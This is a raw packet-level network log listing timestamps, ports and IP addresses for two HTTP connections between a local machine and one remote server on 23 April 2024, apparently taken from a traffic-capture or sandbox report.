Apr 23, 2024 08:39:58.750507116 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.750519991 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750533104 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750587940 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750602007 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750612020 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.750612974 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750633001 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.750634909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750658035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750677109 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.750730038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750793934 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750844955 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750863075 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.750889063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.750907898 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.751218081 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751270056 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751283884 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751290083 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.751295090 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751307964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751357079 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.751357079 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.751374006 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751435995 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751449108 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751468897 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.751471996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751485109 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751530886 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751543999 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751549959 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.751574039 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751596928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751597881 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.751619101 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.751629114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751656055 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751720905 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751734018 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751734018 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.751746893 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751769066 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.751769066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751794100 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.751808882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751849890 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751863003 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751887083 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.751941919 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.751964092 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.751966000 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752032042 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752049923 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752058029 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752094030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752125025 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752145052 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752180099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752187014 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752223969 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752288103 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752307892 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752321959 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752351046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752371073 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752371073 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752407074 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752425909 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752449036 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752465963 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752490997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752505064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752510071 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752516985 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752542019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752573013 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752582073 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752605915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752619028 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752631903 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752643108 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752671957 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752682924 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752696037 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752747059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752769947 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752779961 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752794027 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752819061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752846956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752866983 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752940893 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752953053 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752960920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752964020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752971888 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.752975941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.752999067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753017902 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.753021002 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753041983 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.753112078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753134966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753156900 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753175020 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.753231049 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753249884 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.753292084 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753304958 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753333092 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753351927 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.753417015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753437042 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.753453016 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753467083 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753489017 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753500938 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.753503084 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.753511906 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753572941 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753586054 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753591061 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.753598928 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753618002 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.753621101 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753704071 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753716946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753724098 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.753844976 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753859997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753860950 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.753911972 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.753931999 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.753998041 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754061937 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754146099 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754158020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754160881 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754169941 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754182100 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754194021 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754205942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754214048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754214048 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754249096 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754259109 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754261971 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754272938 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754331112 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754344940 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754353046 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754355907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754374981 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754378080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754400015 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754403114 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754431009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754451036 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754458904 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754493952 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754514933 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754542112 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754556894 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754566908 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754580021 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754585981 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754626989 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754647017 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754713058 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754726887 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754734993 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754745960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754770041 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754789114 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754822969 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754837036 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754848957 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754870892 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.754889011 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.754899979 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755039930 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755053043 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755060911 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.755064964 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755098104 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755116940 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.755171061 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.755179882 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755215883 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755235910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755315065 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755335093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.755383968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755403996 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.755418062 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755430937 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755454063 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755474091 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.755501032 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755518913 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.755530119 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755565882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755584955 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.755635977 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755656958 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.755665064 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755677938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755737066 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755757093 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.755772114 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755790949 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.755806923 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755820990 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755867958 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755886078 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.755893946 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755913019 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.755939960 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755976915 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.755995035 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.756006956 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756134033 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756222010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756242037 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.756242037 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756273985 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756294012 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.756294966 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756345034 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756345987 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.756382942 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756407022 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756426096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.756488085 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756520033 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.756522894 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756597996 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756609917 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756654978 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756668091 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756676912 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.756710052 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.756721020 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756768942 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.756776094 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756833076 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756875038 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756926060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756939888 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756947041 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.756989956 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.756994963 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.757019997 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757041931 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.757045984 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757101059 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757121086 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.757145882 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757180929 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757200956 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.757201910 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757252932 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757272005 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.757286072 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757337093 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757356882 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.757371902 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757416010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757472038 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757489920 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.757493973 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757512093 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.757536888 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757575035 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757595062 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.757930994 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757977009 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.757980108 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.758013010 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758049011 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758052111 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.758063078 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758100986 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.758112907 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758125067 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758136988 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758217096 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.758256912 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758284092 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758354902 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758368015 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758375883 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.758404970 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758423090 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.758469105 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758491039 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.758506060 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758518934 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758542061 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758560896 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.758569002 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758588076 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.758626938 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758639097 CEST	80	49705	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758651972 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758658886 CEST	49705	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.758692980 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758711100 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.758775949 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758800030 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758812904 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758829117 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.758833885 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758846998 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758853912 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.758907080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758919001 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758927107 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.758929968 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.758984089 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759004116 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759004116 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.759078026 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.759093046 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759107113 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759118080 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759128094 CEST	49704	80	192.168.2.7	138.199.40.58
Apr 23, 2024 08:39:58.759129047 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759167910 CEST	80	49704	138.199.40.58	192.168.2.7
Apr 23, 2024 08:39:58.759190083 CEST	49704	80	192.168.2.7	138.199.40.58
